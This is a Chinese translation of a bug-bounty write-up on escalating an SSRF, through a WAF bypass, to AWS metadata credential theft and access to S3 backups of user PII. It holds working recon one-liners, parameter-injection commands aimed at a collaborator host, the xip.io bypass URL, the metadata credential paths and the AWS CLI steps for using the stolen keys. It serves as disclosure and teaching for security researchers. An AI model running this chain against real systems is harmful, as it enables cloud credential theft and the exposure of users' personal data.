原文：
https://notifybugme.medium.com/escalating-ssrf-to-accessing-all-user-pii-information-by-aws-metadata-aabcfd5a3e0e
大家好
我叫Santosh Kumar Sha，是一名来自印度(阿萨姆邦)的安全研究员。在本文中，我将描述如何通过SSRF和元数据利用泄露所有用户PII信息。
特殊COVID-19注意:
没有任何理由就不要出去。待在家里要更安全。尤其是同行们，要注意健康。
用到的工具：
1. Subfinder (https://github.com/projectdiscovery/subfinder))
2. httpx (https://github.com/projectdiscovery/httpx))
3. gau(Corben) — https://github.com/lc/gau
4. waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls.
bug背景:
这是我写的最近的错误，我发现。当我用waybackurls和gau从互联网档案中收集所有的url时。因此，开始fuzz ssrf漏洞，并发现了一个，但有一些waf在服务器背后，不允许我访问内部元数据，但我绕过waf访问内部AWS元数据。
这里是:
假设目标名称为example.com，其中所有内容都在作用域内，如下所示:
作用:* .example.com
收集所有的网址从互联网档案，我已经使用了waybackurls工具和gau。
使用命令:
gau -subs example.com
waybackurls example.com
已经收集了很多，但错过了url的机会仍然存在，我不想错过任何url进行测试。所以我用subfinder和waybackurls得到所有子域名如果存在的所有url并将其保存到一个文件。
所以最后的命令是这样的:
gau -subs example.com >> vul1.txt
waybackurls example.com >> vul2.txt
subfinder -d example.com -silent | waybackurls >> vul3.txt
现在，我们已经收集了所有的url，所以是时候来解析所有的url从列表中过滤出死的url和过滤出所有包含参数的url用于测试漏洞。命令如下所示
cat vul1.txt vuln2.txt vul3.txt | grep “=” | sort -u | grep “?” | httpx -silent >> FUZZvul.txt
收集所有包含参数的url之后,我开始测试的所有url寻找SSRF但没有成功。我知道项目是一个知道bug-bounty程序所以我认为所有其他bugbounty猎人已经足够测试和加固，如果我发现重复的机会也更多，因为所有人必须做这些测试。现在，我感到筋疲力尽，然后我出去休息，但我仍然在想它。我突然想到，为什么不测试一些隐藏参数。所以我决定用我的技巧我称之为参数保留一些bash技巧来增加我的burp 服务器载荷和代理url， burp代理检查所有url，共有200多个url，给您看看我的魔法使用的命令参数：
xargs -a /root/magicparameter/ssrf.txt -I@ bash -c ‘for url in $(cat FUZZvul.txt); do echo “$url&@=http://burpcollabrator.net”;done’ | httpx -http-proxy http://127.0.0.1:8080
现在我终于找到了我的burp协作服务器与http和dns请求与url为：
https://www.example.com/customer/item?custom_name=test123&website_url=http://burpcollabrator.net
从而进一步模糊得到AWS内部脆弱域的元数据，如：
https://www.example.com/customer/item?custom_name=test123&website_url=http://169.254.169.254/
我尝试了上面的url，它给我200 OK，但没有成功，因为在后面有一些过滤或waf/防火墙不允许得到内部数据访问的响应。但不准备离开,因为我花费2天的目标非常接近P1错误所以离开它不是一个选择,如果我不能绕过，别人就也可以找到它所以时间跑得很快,不能停下来。
现在真正的绕过和升级开始:
所以在这一切之后，我被困住了，因为如果我报告它，那么它将是一个无回显SSRF低影响，一个可能已经被发现，所以它可能重复。我决定不去报道，把这些当做绕过它的挑战。因为，我知道我能够访问内部元数据，因为我得到200 OK响应，但我不能看到响应。但是当我挠头的时候我不知道，所以我决定去问谷歌它。我发现了一个网址“http://www.owasp.org.1ynrnhl.xip.io/”用于ssrf aws旁路技巧。我决定使用它，我震惊地看到它实际上是可行的，因为waf/防火墙是阻止ip地址，而不是域名。所以当你卡住的时候，只要问谷歌就会得到答案，所以瞪大眼睛看问题是关键。
最终的ssrf易受攻击的url是这样的：
https://www.example.com/customer/item?custom_name=test123&website_url=http://www.owasp.org.1ynrnhl.xip.io/latest/meta-data/iam/security-credentials/Prod
所以现在我决定升级SSRF以达到最大的效果
通过ssrf获取aws元数据:
1) 获取[AccessKeyId, SecretAccessKey, Token]
https://www.example.com/customer/item?custom\_name=test123&website\_url=http://www.owasp.org.1ynrnhl.xip.io/latest/meta-data/iam/security-credentials/Prod
2) 现在获取[instanceId, accountId, region]，需要记住的是“region”:“eu-west-1”。现在检查一下是否有安全凭证。这些凭据能帮我们找到RCE。
https://www.example.com/customer/item?custom\_name=test123&website\_url=http://www.owasp.org.1ynrnhl.xip.io/latest/dynamic/instance-identity/document
要检查凭据是否可用，我们将使用AWS CLI。对于下一个命令，使用来自上述请求的数据和我们之前检索的区域值(eu-west-1)。
$ export AWS_ACCESS_KEY_ID="[AccessKeyId]"
$ export AWS_SECRET_ACCESS_KEY="[SecretAccessKey]"
$ export AWS_DEFAULT_REGION="[region]"
$ export AWS_SESSION_TOKEN="[Token]"
现在是检查令牌身份的时候了。
$ aws sts get-caller-identity{
"UserId": "Axxxxxxxxxxxxxxxxx:i-xxxxxxxxxxxxxxxxx",
"Account": "XXxxxxxxxxxx",
"Arn": "arn:aws:sts::19xxxxxxxxxx:XXXX/XXXXXX/i-xxxxxxxxxxxxxxxxx"
}
现在，我只是在终端中运行简单的aws命令，以获得aws实例的所有列表。使用命令:
aws s3 ls
aws实例的命令列表，在那里有“prodbackUP_info”aws实例，所以我决定检查它。所以我是aws cli。
aws s3 ls s3://prodbackUP_info
我能够访问所有列表用户备份信息文件，所以在安全方面，我已经采取了进一步升级的许可。
我迅速报告了这个错误，第二天报告就被分类为严重
看到这个之后，我的反应是……
本文迁移自知识星球“火线Zone”
